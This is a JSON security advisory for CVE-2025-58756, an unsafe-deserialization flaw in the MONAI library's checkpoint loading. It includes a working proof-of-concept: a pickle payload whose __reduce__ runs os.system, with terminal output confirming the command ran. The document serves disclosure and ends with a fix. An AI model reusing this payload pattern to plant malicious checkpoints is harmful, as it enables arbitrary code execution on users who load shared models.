1 line
6.3 KiB
JSON
1 line
6.3 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-6vm5-6jv9-rjpj","published":"2025-09-09T21:19:59Z","modified":"2026-06-06T00:45:43.342026049Z","aliases":["CVE-2025-58756","PYSEC-2025-141"],"summary":"MONAI: Unsafe torch usage may lead to arbitrary code execution","details":"### Summary\nIn ```model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True)``` in monai/bundle/scripts.py , ```weights_only=True``` is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.\n\nThis is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.\n\nLoading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.\n\nThe following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.\n\n```\n\nimport os \nimport tempfile \nimport json \nimport torch \nfrom pathlib import Path \n \nclass MaliciousPayload: \n def __reduce__(self): \n return (os.system, ('touch /tmp/hacker2.txt',)) \n \ndef test_checkpoint_loader_attack(): \n\n \n\n temp_dir = Path(tempfile.mkdtemp()) \n checkpoint_file = temp_dir / \"malicious_checkpoint.pt\" \n \n\n malicious_checkpoint = { \n 'model_state_dict': MaliciousPayload(), \n 'optimizer_state_dict': {}, \n 'epoch': 100 \n } \n \n\n torch.save(malicious_checkpoint, checkpoint_file) \n \n \n from monai.handlers import CheckpointLoader \n import torch.nn as nn \n \n \n model = nn.Linear(10, 1) \n \n loader = CheckpointLoader( \n load_path=str(checkpoint_file), \n load_dict={\"model\": model} \n ) \n \n class MockEngine: \n def __init__(self): \n self.state = type('State', (), {})() \n self.state.max_epochs = None \n self.state.epoch = 0 \n \n engine = MockEngine() \n loader(engine) \n \n \n proof_file = \"/tmp/hacker2.txt\" \n if os.path.exists(proof_file): \n print(\"Succes\") \n #os.remove(proof_file) \n return True \n else: \n print(\"False\") \n return False \n \nif __name__ == \"__main__\": \n success = test_checkpoint_loader_attack() \n\n```\nBecause my test environment is missing some content, an error will be reported during operation, but the operation is still executed.\n```\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log checkpoint_pwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py \nTraceback (most recent call last):\n File \"/root/autodl-tmp/mmm/p2.py\", line 61, in <module>\n success = test_checkpoint_loader_attack() \n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/root/autodl-tmp/mmm/p2.py\", line 48, in test_checkpoint_loader_attack\n loader(engine) \n ^^^^^^^^^^^^^^\n File \"/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py\", line 146, in __call__\n Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)\n File \"/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py\", line 624, in load_objects\n _tree_apply2(_load_object, to_load, checkpoint_obj)\n File \"/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py\", line 209, in _tree_apply2\n _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])\n File \"/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py\", line 216, in _tree_apply2\n return func(x, y)\n ^^^^^^^^^^\n File \"/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py\", line 613, in _load_object\n obj.load_state_dict(chkpt_obj, **kwargs)\n File \"/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py\", line 2581, in load_state_dict\n raise RuntimeError(\nRuntimeError: Error(s) in loading state_dict for Linear:\n Missing key(s) in state_dict: \"weight\", \"bias\". \n Unexpected key(s) in state_dict: \"model_state_dict\", \"optimizer_state_dict\", \"epoch\". \nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log checkpoint_pwned.txt hacker1.txt hacker2.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi02txakb tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa\n```\n\n\n### Impact\nLeading to arbitrary command execution\n### Fix suggestion\nUse a safe method to load, or force weights_only=True","affected":[{"package":{"name":"monai","ecosystem":"PyPI","purl":"pkg:pypi/monai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.1"}]}],"versions":["0.0.1","0.1.0","0.2.0","0.3.0","0.4.0","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","1.0.0","1.0.1","1.1.0","1.2.0","1.3.0","1.3.1","1.3.2","1.3.2rc1","1.3.3rc1","1.4.0","1.4.0rc1","1.4.0rc10","1.4.0rc11","1.4.0rc12","1.4.0rc2","1.4.0rc3","1.4.0rc4","1.4.0rc5","1.4.0rc6","1.4.0rc7","1.4.0rc8","1.4.0rc9","1.4.1rc1","1.5.0","1.5.0rc1"],"database_specific":{"last_known_affected_version_range":"<= 1.5.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-6vm5-6jv9-rjpj/GHSA-6vm5-6jv9-rjpj.json"}}],"references":[{"type":"WEB","url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-6vm5-6jv9-rjpj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-58756"},{"type":"WEB","url":"https://github.com/Project-MONAI/MONAI/pull/8566"},{"type":"WEB","url":"https://github.com/Project-MONAI/MONAI/commit/948fbb703adcb87cd04ebd83d20dcd8d73bf6259"},{"type":"PACKAGE","url":"https://github.com/Project-MONAI/MONAI"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/monai/PYSEC-2025-141.yaml"}],"database_specific":{"cwe_ids":["CWE-502"],"github_reviewed":true,"github_reviewed_at":"2025-09-09T21:19:59Z","nvd_published_at":"2025-09-09T00:15:32Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]} |